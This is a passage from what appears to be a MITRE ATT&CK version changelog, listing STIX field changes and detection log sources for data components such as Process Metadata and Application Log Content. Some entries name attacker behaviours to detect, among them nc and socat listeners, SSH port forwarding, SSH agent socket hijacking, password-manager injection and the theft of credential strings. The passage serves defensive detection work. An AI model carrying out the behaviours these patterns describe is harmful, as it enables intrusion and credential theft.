/usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond'}, {'name': 'WinEventLog:AppLocker', 'channel': 'EventCode=8003,8004'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, unlink'}, {'name': 'macos:osquery', 'channel': 'launchd, processes'}, {'name': 'linux:osquery', 'channel': 'socat, ssh, or nc processes opening unexpected ports'}, {'name': 'macos:unifiedlog', 'channel': 'process execution of ssh with -L/-R forwarding flags'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or cron spawning mining binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls for processes using RSA handshake'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs'}, {'name': 'azure:vmguest', 'channel': 'Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution'}, {'name': 'macos:unifiedlog', 'channel': 'Script interpreter invoked by nginx/apache worker process'}, {'name': 'macos:unifiedlog', 'channel': 'execution of Office binaries with network activity'}, {'name': 'macos:unifiedlog', 'channel': 'launch of bash/zsh/python/osascript targeting key file locations'}, {'name': 'macos:unifiedlog', 'channel': 'execution of /sbin/emond with child processes launched'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete'}, {'name': 'macos:unifiedlog', 'channel': 'shutdown -h now or reboot'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for process execution and system call monitoring during reconnaissance'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to VM operations and configuration queries during reconnaissance'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for hardware and system configuration access during environmental validation'}, {'name': 'linux:osquery', 'channel': 'processes modifying environment variables related to history logging'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: parent process is usb/hid device handler, child process bash/python invoked'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, rclone, or Office apps invoking network sessions'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of kextstat, kextfind, or ioreg targeting driver information'}, {'name': 'macos:endpointsecurity', 'channel': 'exec events'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation involving binaries interacting with resource fork data'}, {'name': 'macos:unifiedlog', 'channel': 'process event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of suspicious exploit binaries targeting security daemons'}, {'name': 'macos:osquery', 'channel': 'execve: Unsigned or unnotarized processes launched with high privileges'}, {'name': 'macos:unifiedlog', 'channel': 'security OR injection attempts into 1Password OR LastPass'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:27.797000+00:00	2025-10-21 19:28:39.339000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

[DC0034] Process Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess, LoadLibrary)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:37.873000+00:00	2025-10-21 15:14:35.331000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0033] Process Termination

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.exit.code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:34.519000+00:00	2025-10-21 15:14:36.181000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0115] Protected Configuration

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0115', 'external_id': 'DC0115'}]
x_mitre_log_sources		[{'name': 'Application Vetting', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:22.260000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0117] System Notifications

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0117', 'external_id': 'DC0117'}]
x_mitre_log_sources		[{'name': 'User Interface', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:22.106000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0118] System Settings

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0118', 'external_id': 'DC0118'}]
x_mitre_log_sources		[{'name': 'User Interface', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:21.541000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

ics-attack

Major Version Changes

[DC0038] Application Log Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0038', 'external_id': 'DC0038'}]
x_mitre_log_sources		[{'name': 'Application Log', 'channel': 'None'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook errors loading or processing custom form templates'}, {'name': 'm365:unified', 'channel': 'Unusual form activity within Outlook client, including load of non-default forms'}, {'name': 'saas:okta', 'channel': 'Conditional Access policy rule modified or MFA requirement disabled'}, {'name': 'ApplicationLog:EntraIDPortal', 'channel': 'DeviceRegistration events'}, {'name': 'ApplicationLog:Intune/MDM Logs', 'channel': 'Enrollment events (e.g., MDMDeviceRegistration)'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed & Exchange Audit'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed, Search-Mailbox events'}, {'name': 'WinEventLog:Application', 'channel': 'Office Add-in load errors, abnormal loading context, or unsigned add-in warnings'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed'}, {'name': 'Application:Mail', 'channel': 'smtpd$.$: .from=[.@internaldomain.com](mailto:.@internaldomain.com) to=[.@internaldomain.com](mailto:.@internaldomain.com)'}, {'name': 'saas:slack', 'channel': 'file_upload, message_send, message_click'}, {'name': 'saas:teams', 'channel': 'ChatMessageSent, ChatMessageEdited, LinkClick'}, {'name': 'saas:gmail', 'channel': 'SendEmail, OpenAttachment, ClickLink'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, AttachmentPreviewed'}, {'name': 'WinEventLog:System', 'channel': 'Changes to applicationhost.config or DLLs loaded by w3wp.exe'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6416'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'Device started/installed (UMDF) GUIDs'}, {'name': 'linux:syslog', 'channel': 'usb * new\|thunderbolt\|pci .* added\|block.: new . device'}, {'name': 'macos:unifiedlog', 'channel': 'Device attached\|enumerated VID/PID'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types'}, {'name': 'Application:Mail', 'channel': 'Inbound messages with anomalous headers, spoofed SPF/DKIM failures'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound email activity with suspicious domains or mismatched sender information'}, {'name': 'm365:unified', 'channel': 'FileAccessed: Access of email attachments by Office applications'}, {'name': 'saas:collaboration', 'channel': 'MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)'}, {'name': 'ApplicationLog:IIS', 'channel': 'IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)'}, {'name': 'ApplicationLog:WebServer', 'channel': '/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors'}, {'name': 'macos:unifiedlog', 'channel': 'App/web server logs ingested via unified logging or filebeat (nginx/apache/node).'}, {'name': 'ApplicationLog:Ingress', 'channel': 'Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections'}, {'name': 'esxi:vmkernel', 'channel': 'vmkernel / OpenSLP logs for malformed requests'}, {'name': 'networkdevice:controlplane', 'channel': 'Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule execution failure or abnormal rule execution context'}, {'name': 'm365:unified', 'channel': 'Creation or modification of inbox rule outside of normal user behavior'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails containing embedded or shortened URLs'}, {'name': 'Application:Mail', 'channel': 'Inbound emails containing hyperlinks from suspicious sources'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages with embedded or shortened URLs'}, {'name': 'azure:signinLogs', 'channel': 'ConsentGrant: Suspicious consent grants to non-approved or unknown applications'}, {'name': 'm365:unified', 'channel': 'AppRegistration: Unexpected application registration or OAuth authorization'}, {'name': 'm365:unified', 'channel': 'MessageSend, MessageRead, or FileAttached events containing credential-like patterns'}, {'name': 'm365:exchange', 'channel': 'Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains'}, {'name': 'saas:slack', 'channel': 'chat.postMessage, files.upload, or discovery API calls involving token/credential regex'}, {'name': 'linux:syslog', 'channel': 'Inbound messages from webmail services containing attachments or URLs'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages containing embedded links or attachments from non-enterprise services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031,7034,1000,1001'}, {'name': 'linux:syslog', 'channel': "kernel\|systemd messages indicating 'segmentation fault'\|'core dumped'\|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."}, {'name': 'esxi:hostd', 'channel': "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."}, {'name': 'macos:unifiedlog', 'channel': "process 'crashed'\|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."}, {'name': 'esxi:hostd', 'channel': 'unexpected script/command invocations via hostd'}, {'name': 'linux:syslog', 'channel': 'System daemons initiating encrypted sessions with unexpected destinations'}, {'name': 'esxi:vpxd', 'channel': 'Symmetric crypto routines triggered for external session'}, {'name': 'AWS:CloudTrail', 'channel': 'SendEmail'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeModel'}, {'name': 'saas:openai', 'channel': 'High volume of requests to /v1/chat/completions or /v1/images/generations'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Add-InboxRule, RegisterWebhook'}, {'name': 'saas:application', 'channel': 'High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.'}, {'name': 'NSM:Connections', 'channel': 'PushNotificationSent'}, {'name': 'saas:okta', 'channel': 'MFAChallengeIssued'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution'}, {'name': 'linux:syslog', 'channel': 'milter configuration updated, transport rule initialized, unexpected script execution'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs'}, {'name': 'linux:syslog', 'channel': 'Repetitive HTTP 408, 500, or 503 errors logged within short timeframe'}, {'name': 'macos:unifiedlog', 'channel': 'opendirectoryd crashes or abnormal authentication errors'}, {'name': 'm365:unified', 'channel': 'ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA'}, {'name': 'WinEventLog:Application', 'channel': 'Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events'}, {'name': 'linux:syslog', 'channel': 'Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads'}, {'name': 'macos:unifiedlog', 'channel': 'Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches'}, {'name': 'm365:unified', 'channel': 'Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook logs indicating failure to load or render HTML page in Home Page view'}, {'name': 'm365:unified', 'channel': 'Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1102'}, {'name': 'linux:cli', 'channel': 'cleared or truncated .bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'log stream cleared or truncated'}, {'name': 'm365:unified', 'channel': 'PurgeAuditLogs, Remove-MailboxAuditLog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=104'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000-1026'}, {'name': 'EDR:detection', 'channel': 'ThreatDetected, QuarantineLog'}, {'name': 'macos:unifiedlog', 'channel': 'quarantine or AV-related subsystem'}, {'name': 'EDR:detection', 'channel': 'ThreatLog'}, {'name': 'azure:signinlogs', 'channel': 'Modify Conditional Access Policy'}, {'name': 'm365:unified', 'channel': 'Set-CsOnlineUser or UpdateAuthPolicy'}, {'name': 'm365:unified', 'channel': 'New-InboxRule or Set-InboxRule events recorded in Exchange Online'}, {'name': 'ApplicationLog:MailServer', 'channel': 'Unexpected additions of sieve rules or filtering directives'}, {'name': 'm365:unified', 'channel': 'Transport rule or inbox rule creation events'}, {'name': 'ApplicationLog:Outlook', 'channel': 'Outlook client-level rule creation actions not consistent with normal user activity'}, {'name': 'kubernetes:orchestrator', 'channel': 'Access to orchestrator logs containing credentials (Docker/Kubernetes logs)'}, {'name': 'WinEventLog:Application', 'channel': 'Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)'}, {'name': 'journald:systemd', 'channel': 'Repeated service restart attempts or unit failures'}, {'name': 'macos:unifiedlog', 'channel': 'Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console'}, {'name': 'docker:events', 'channel': 'Container exited with non-zero code repeatedly in short period'}, {'name': 'WinEventLog:Application', 'channel': 'SCCM, Intune logs'}, {'name': 'macos:jamf', 'channel': 'RemoteCommandExecution'}, {'name': 'networkdevice:syslog', 'channel': 'config push events'}, {'name': 'linux:syslog', 'channel': 'processes binding to non-standard ports or sshd configured on unexpected port'}, {'name': 'm365:unified', 'channel': 'GAL Lookup or Address Book download'}, {'name': 'esxi:hostd', 'channel': 'Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails with attachments from suspicious or spoofed senders'}, {'name': 'Application:Mail', 'channel': 'Inbound email attachments logged from MTAs with suspicious metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound messages with attachments from suspicious domains'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files'}, {'name': 'm365:unified', 'channel': 'certificate added or modified in application credentials'}, {'name': 'saas:Snowflake', 'channel': 'QUERY: Large or repeated SELECT * queries to sensitive tables'}, {'name': 'saas:Airtable', 'channel': 'EXPORT: User-triggered data export via GUI or API'}, {'name': 'ApplicationLog:CallRecords', 'channel': 'Outbound or inbound calls to high-risk or blocklisted numbers'}, {'name': 'networkdevice:syslog', 'channel': 'SIP REGISTER, INVITE, or unusual call destination metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Outgoing or incoming calls with non-standard caller IDs or unusual metadata'}, {'name': 'm365:unified', 'channel': 'Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call'}, {'name': 'docker:daemon', 'channel': 'container_create,container_start'}, {'name': 'saas:github', 'channel': 'Bulk access to multiple files or large volume of repo requests within short time window'}, {'name': 'm365:exchange', 'channel': 'Transport Rule Modification'}, {'name': 'm365:exchange', 'channel': 'Admin Audit Logs, Transport Rules'}, {'name': 'saas:application', 'channel': 'High-volume API calls or traffic via messaging or webhook service'}, {'name': 'm365:unified', 'channel': 'Set federation settings on domain\|Set domain authentication\|Add federated identity provider'}, {'name': 'linux:syslog', 'channel': 'system daemons initiating TLS sessions outside expected services'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership'}, {'name': 'Application:Mail', 'channel': 'Mismatch between authenticated username and From header in email'}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app or third-party clients sending messages with mismatched From headers'}, {'name': 'gcp:workspaceaudit', 'channel': 'SendAs: Outbound messages with alias identities that differ from primary account'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000'}, {'name': 'linux:syslog', 'channel': 'browser/office crash, segfault, abnormal termination'}, {'name': 'macos:unifiedlog', 'channel': 'process crash, abort, code signing violations'}, {'name': 'saas:okta', 'channel': 'WebUI access to administrator dashboard'}, {'name': 'm365:unified', 'channel': 'Read-only configuration review from GUI'}, {'name': 'saas:box', 'channel': 'User navigated to admin interface'}, {'name': 'azure:signinlogs', 'channel': 'Register PTA Agent or Modify AD FS trust'}, {'name': 'm365:unified', 'channel': 'Modify Federation Settings or Update Authentication Policy'}, {'name': 'saas:okta', 'channel': 'Federation configuration update or signing certificate change'}, {'name': 'macos:unifiedlog', 'channel': 'Configuration profile modified or new profile installed'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000, 1001, 1002'}, {'name': 'journald:Application', 'channel': 'Segfault or crash log entry associated with specific application binary'}, {'name': 'macos:unifiedlog', 'channel': 'Crash log entries for a process receiving malformed input or known exploit patterns'}, {'name': 'AWS:CloudWatch', 'channel': 'Repeated crash pattern within container or instance logs'}, {'name': 'esxi:hostd', 'channel': 'unexpected script invocations producing long encoded strings'}, {'name': 'docker:runtime', 'channel': 'execution of cloud CLI tool (e.g., aws, az) inside container'}, {'name': 'WinEventLog:Application', 'channel': 'VPN, Citrix, or remote access gateway logs showing external IP addresses'}, {'name': 'NSM:Connections', 'channel': 'Failed password or accepted password for SSH users'}, {'name': 'ApplicationLog:API', 'channel': 'Docker/Kubernetes API access from external sources'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Unusual spikes in inbound messages to a single recipient'}, {'name': 'Application:Mail', 'channel': 'High-frequency inbound mail activity to a specific recipient address'}, {'name': 'm365:exchange', 'channel': 'MailDelivery: High-frequency delivery of messages or attachments to a single recipient'}, {'name': 'macos:unifiedlog', 'channel': 'Repetitive inbound email delivery activity logged within a short time window'}, {'name': 'saas:confluence', 'channel': 'access.content'}, {'name': 'm365:unified', 'channel': 'PowerShell: Add-MailboxPermission'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows'}, {'name': 'm365:exchange', 'channel': 'New-InboxRule: Automation that triggers abnormal forwarding or external link generation'}, {'name': 'saas:googledrive', 'channel': 'FileOpen / FileAccess: Event-driven script triggering on user file actions'}, {'name': 'networkdevice:syslog', 'channel': 'Failed authentication requests redirected to non-standard portals'}, {'name': 'saas:okta', 'channel': 'System API Call: user.read, group.read'}, {'name': 'esxi:hostd', 'channel': 'Host daemon command log entries related to vib enumeration'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission or Set-ManagementRoleAssignment'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule creation, form load, or homepage redirection'}, {'name': 'm365:mailboxaudit', 'channel': 'Outlook rule creation or custom form deployment'}, {'name': 'saas:zoom', 'channel': 'unusual web session tokens and automation patterns during login'}, {'name': 'WinEventLog:Application', 'channel': 'High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)'}, {'name': 'linux:syslog', 'channel': 'Error/warning logs from services indicating load spike or worker exhaustion'}, {'name': 'macos:unifiedlog', 'channel': 'Application errors or resource contention from excessive frontend or script invocation'}, {'name': 'AWS:CloudWatch', 'channel': 'Elevated 5xx response rates in application logs or gateway layer'}, {'name': 'm365:messagetrace', 'channel': 'AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail'}, {'name': 'linux:syslog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain'}, {'name': 'macos:unifiedlog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains'}, {'name': 'saas:email', 'channel': 'AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1341,1342,1020,1063'}, {'name': 'linux:syslog', 'channel': 'suspicious DHCP lease assignment with unexpected DNS or gateway'}, {'name': 'macos:unifiedlog', 'channel': 'new DHCP configuration with anomalous DNS or router values'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange logs or header artifacts'}, {'name': 'macos:unifiedlog', 'channel': 'Mail or AppleScript subsystem'}, {'name': 'm365:exchange', 'channel': 'MessageTrace logs'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000,1001'}, {'name': 'linux:syslog', 'channel': 'opened document\|clicked link\|segfault\|abnormal termination\|sandbox'}, {'name': 'macos:unifiedlog', 'channel': 'opened document\|clicked link\|EXC_BAD_ACCESS\|abort\|LSQuarantine'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'm365:unified', 'channel': 'Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser\|AttachRolePolicy\|CreateAccessKey\|UpdateAssumeRolePolicy\|CreateLoginProfile'}, {'name': 'azure:activity', 'channel': 'Add role assignment / ElevateAccess / Create service principal'}, {'name': 'saas:googleworkspace', 'channel': 'OAuth2 authorization grants / Admin role assignments'}, {'name': 'm365:unified', 'channel': 'Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship'}, {'name': 'linux:syslog', 'channel': 'Authentication attempts into finance-related servers from unusual IPs or times'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous keychain access attempts targeting payment credentials'}, {'name': 'saas:finance', 'channel': 'Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts'}, {'name': 'saas:audit', 'channel': 'Rule/ConfigChange: 